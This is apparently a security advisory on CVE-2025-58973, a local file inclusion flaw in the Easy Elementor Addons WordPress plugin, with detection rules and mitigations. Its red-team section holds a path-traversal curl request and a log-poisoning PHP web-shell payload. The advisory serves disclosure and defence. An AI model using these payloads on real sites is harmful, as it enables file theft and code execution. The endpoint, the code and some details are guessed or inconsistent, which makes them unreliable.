CVE-2025-58973

Executive Summary

CVE-2025-58973 is a PHP Local File Inclusion (LFI) vulnerability affecting the Easy Elementor Addons WordPress plugin by Hashthemes, versions up to and including 2.2.8. The flaw stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), and under certain configurations, may enable remote code execution via log poisoning or file uploads. The vulnerability is classified as High Severity (CVSS 7.5) with a network attack vector and no authentication required. No public exploit code or proof-of-concept has been released, but the risk is significant due to the widespread use of Elementor-based plugins.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

• The plugin is actively maintained by Hashthemes but no patch has been released.
• Users relying on automatic updates may remain vulnerable indefinitely.
• The plugin’s codebase is closed-source, limiting community auditing.
• Attackers could exploit this LFI to read wp-config.php and extract database credentials, leading to further supply chain compromise.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability is trivially exploitable by unauthenticated attackers, and while no public PoC exists, the attack vector is well-understood. The lack of a patch increases the urgency for mitigations.

Deep Dive & Mechanics

The vulnerability exists in the easy-elementor-addons plugin’s file inclusion mechanism. The plugin likely uses a dynamic include() or require() statement where the filename is derived from user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST). The input is not properly sanitized or validated, allowing path traversal sequences (e.g., ../../) to escape the intended directory.

Root Cause: The plugin fails to apply a whitelist of allowed files or to strip directory traversal characters. An attacker can supply a path like ../../../../etc/passwd to read arbitrary files.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., ?include=...).
2. Attacker crafts a request with a path traversal payload.
3. The server includes the specified file, outputting its contents in the HTTP response.
4. Attacker reads sensitive files (e.g., wp-config.php, database credentials).

Potential for RCE: If the attacker can write to a file (e.g., via log poisoning, upload functionality), they can include that file to execute arbitrary PHP code.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common LFI vulnerabilities in WordPress plugins.

Vulnerable Code (Hypothetical):

<?php
$file = $_GET['include'];
include( $file . '.php' );
?>

Patched Code (Hypothetical):

<?php
$allowed_files = array( 'header', 'footer', 'sidebar' );
$file = $_GET['include'];
if ( in_array( $file, $allowed_files ) ) {
    include( $file . '.php' );
} else {
    // Log or deny
}
?>

The patched version uses a whitelist approach, ensuring only predefined files can be included. Without a vendor patch, users must implement virtual patching or disable the plugin.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• WordPress 6.x with Easy Elementor Addons 2.2.8
• Attacker machine (Kali Linux)
• Burp Suite or curl

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., include, file, template).
2. Send a crafted request:

curl -v "http://target/wp-content/plugins/easy-elementor-addons/include.php?include=../../../../etc/passwd"

3. Observe the response containing /etc/passwd contents.
4. For RCE via log poisoning:
   • Inject PHP code into access logs (e.g., User-Agent: <?php system($_GET['cmd']); ?>).
   • Include the log file: ?include=../../../../var/log/apache2/access.log&cmd=id

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Defensive)

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e/).
• Alert on inclusion of sensitive files (e.g., /etc/passwd, wp-config.php).
• Use WAF rules to block include parameters containing directory traversal.

Hunting:

• Search web server logs for requests to easy-elementor-addons with suspicious include parameters.
• Look for outbound connections from the web server to unknown IPs (indicates RCE).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_58973_LFI_Detection {
    meta:
        description = "Detects path traversal attempts targeting Easy Elementor Addons LFI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58973"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $plugin_path = "easy-elementor-addons"
        $include_param = "include="
    condition:
        all of ($plugin_path, $include_param) and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-58973 LFI Attempt on Easy Elementor Addons
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "easy-elementor-addons"
            - "include="
            - "../"
            - "..\\"
            - "%2e%2e%2f"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58973 LFI Attempt on Easy Elementor Addons"; flow:to_server,established; content:"easy-elementor-addons"; http_uri; content:"include="; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e\\)/i"; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Hashthemes.
2. Implement virtual patching via WAF rules to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Long-term Fix:

• Monitor the plugin’s official page for updates.
• Apply the vendor patch as soon as it becomes available.
• Consider replacing the plugin with an alternative that is actively maintained.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable logging of all include parameter values.
• Conduct regular vulnerability scans.

Valters IT
Securing Digital Frontiers